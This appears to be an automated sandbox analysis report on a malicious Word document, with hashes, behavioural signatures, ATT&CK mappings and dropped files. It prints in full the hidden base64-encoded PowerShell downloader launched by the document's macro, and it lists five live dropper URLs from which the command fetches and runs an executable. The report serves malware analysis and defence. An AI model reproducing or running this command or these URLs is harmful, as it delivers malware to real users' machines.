24a9f06db2b35bdcbef2271a9c325574dc757a54e56a8864ef7d20acd246a761

General

Target

63b3546312f1c5787d212c93b31ad7bb_JaffaCakes118.doc
Size

205KB
MD5

63b3546312f1c5787d212c93b31ad7bb
SHA1

4bf249afca97082ddd8b4cab74b1e49eec4cb19c
SHA256

24a9f06db2b35bdcbef2271a9c325574dc757a54e56a8864ef7d20acd246a761
SHA512

c1daaf4d969c22983ee6d5f5877c192a7b22edc8f2267d208f00bd4da33e579fc1b6b4048f1a695b96912582c3d62f6e8d16f92c23ec5df31871f0c510afd632
SSDEEP

3072:Fd2y/Gdy/ktGDWLS0HZWD5w8K7Nk9uD7IBUNfgpszLC4TIdAuvV/uVxq:Fd2k4ntGiL3HJk9uD7bNopsi4Y92G

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://mensro.com/wp-admin/o2jnxha/

exe.dropper

http://meert.org/cgi-bin/DrjIA/

exe.dropper

http://mcdogsmedia.co.uk/cgi-bin/1qy65l/

exe.dropper

http://milleniumwheels.com/oud/5icr4l/

exe.dropper

http://multitable.com/cgi-bin/vyj89/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2632	1260	Powershell.exe

Blocklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow pid process

29 2632 Powershell.exe
32 2632 Powershell.exe
42 2632 Powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

Powershell.exe

pid process

2632 Powershell.exe

flow	pid	process
29	2632	Powershell.exe
32	2632	Powershell.exe
42	2632	Powershell.exe

pid	process
2632	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3368 WINWORD.EXE
3368 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

2632 Powershell.exe
2632 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 2632 Powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3368 WINWORD.EXE
3368 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3368 WINWORD.EXE
3368 WINWORD.EXE
3368 WINWORD.EXE
3368 WINWORD.EXE
3368 WINWORD.EXE
3368 WINWORD.EXE
3368 WINWORD.EXE
3368 WINWORD.EXE

pid	process
3368	WINWORD.EXE
3368	WINWORD.EXE

pid	process
2632	Powershell.exe
2632	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	2632	Powershell.exe

pid	process
3368	WINWORD.EXE
3368	WINWORD.EXE

pid	process
3368	WINWORD.EXE
3368	WINWORD.EXE
3368	WINWORD.EXE
3368	WINWORD.EXE
3368	WINWORD.EXE
3368	WINWORD.EXE
3368	WINWORD.EXE
3368	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3368 wrote to memory of 2992	3368	WINWORD.EXE	splwow64.exe
PID 3368 wrote to memory of 2992	3368	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\63b3546312f1c5787d212c93b31ad7bb_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2992

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABSAGUAZwBpAGsAZQBhAGUAPQAnAFQAawBuAHMAbAB6AGMAZgAnADsAJABaAHUAawBnAG8AZgB4AHcAdwAgAD0AIAAnADUAOQA0ACcAOwAkAFEAbwBzAHgAbgB6AGcAcgBjAG0AdAA9ACcAQQBkAGkAbABjAHMAcwBtACcAOwAkAEEAaQBwAHYAYgBzAGkAbwB1AG4AdwB0AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAdQBrAGcAbwBmAHgAdwB3ACsAJwAuAGUAeABlACcAOwAkAEYAawB3AG8AZABmAHYAcgA9ACcASgBiAHEAbgBsAHcAZgB1AG4AbwAnADsAJABaAHEAaAB0AHUAbwBqAHcAPQAmACgAJwBuAGUAdwAtAG8AYgBqAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAQwBMAGkAZQBOAFQAOwAkAFkAeQB6AGkAawB2AGEAcgBtAGoAZgBwAGsAPQAnAGgAdAB0AHAAOgAvAC8AbQBlAG4AcwByAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AMgBqAG4AeABoAGEALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgB0AC4AbwByAGcALwBjAGcAaQAtAGIAaQBuAC8ARAByAGoASQBBAC8AKgBoAHQAdABwADoALwAvAG0AYwBkAG8AZwBzAG0AZQBkAGkAYQAuAGMAbwAuAHUAawAvAGMAZwBpAC0AYgBpAG4ALwAxAHEAeQA2ADUAbAAvACoAaAB0AHQAcAA6AC8ALwBtAGkAbABsAGUAbgBpAHUAbQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AbwB1AGQALwA1AGkAYwByADQAbAAvACoAaAB0AHQAcAA6AC8ALwBtAHUAbAB0AGkAdABhAGIAbABlAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdgB5AGoAOAA5AC8AJwAuACIAcwBQAGwAYABpAHQAIgAoACcAKgAnACkAOwAkAFYAbQByAGgAcgBxAGMAdwA9ACcAUQBtAG4AbgByAGwAZABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABXAHMAbQBxAGgAZwB0AHIAcgB5AGYAIABpAG4AIAAkAFkAeQB6AGkAawB2AGEAcgBtAGoAZgBwAGsAKQB7AHQAcgB5AHsAJABaAHEAaAB0AHUAbwBqAHcALgAiAGQAYABvAFcATgBsAE8AQQBgAEQAYABGAEkATABFACIAKAAkAFcAcwBtAHEAaABnAHQAcgByAHkAZgAsACAAJABBAGkAcAB2AGIAcwBpAG8AdQBuAHcAdAByACkAOwAkAEwAZgByAHoAbgB1AGEAZwBuAHkAegBsAD0AJwBPAGsAdwB2AG4AZQBvAGsAZgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEEAaQBwAHYAYgBzAGkAbwB1AG4AdwB0AHIAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADQANgAyADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQByAHQAIgAoACQAQQBpAHAAdgBiAHMAaQBvAHUAbgB3AHQAcgApADsAJABBAHkAZgB0AHIAYgBnAHgAPQAnAFUAcgB0AHgAcAB2AGoAZwBkAGYAYwAnADsAYgByAGUAYQBrADsAJABHAG8AaAB5AGQAZgBiAGEAbABvAGsAdABjAD0AJwBHAHkAZQBtAHAAeABwAGUAYgBwAG8AcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGYAYQByAHoAeQBmAGoAYwBkAHIAbwBxAD0AJwBKAGQAbgB1AHEAegBmAGEAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EA53A77D.wmf

Filesize
444B

MD5
bdc0b0fc54d4e07fe1b1cb73694d9458

SHA1
ad7118a518659dd7bcaf6e6f50d0d04ab6364dc8

SHA256
3bda331d2c2fbfe3aa233f2c0523e17f7d500349ad09e66edd7833ff99210de8

SHA512
adb2fbb5603f2bbedb40425276412dca28e5257136dac1d7fd11697e118e12ee86669a1ba70e36bb701737951a2a2ed46ffc755a8fcd5b94b38f2d9a3fe0b861

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3d0ynbcn.5bm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
memory/2632-58-0x00000202555B0000-0x00000202555D2000-memory.dmp

Filesize
136KB

Download
memory/3368-7-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-18-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-6-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-0-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-10-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-12-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-11-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-13-0x00007FF923FC0000-0x00007FF923FD0000-memory.dmp

Filesize
64KB

Download
memory/3368-9-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-8-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-14-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-16-0x00007FF923FC0000-0x00007FF923FD0000-memory.dmp

Filesize
64KB

Download
memory/3368-15-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-5-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-17-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-4-0x00007FF96666D000-0x00007FF96666E000-memory.dmp

Filesize
4KB

Download
memory/3368-3-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-1-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-2-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-551-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download
memory/3368-581-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-580-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-579-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-578-0x00007FF926650000-0x00007FF926660000-memory.dmp

Filesize
64KB

Download
memory/3368-582-0x00007FF9665D0000-0x00007FF9667C5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads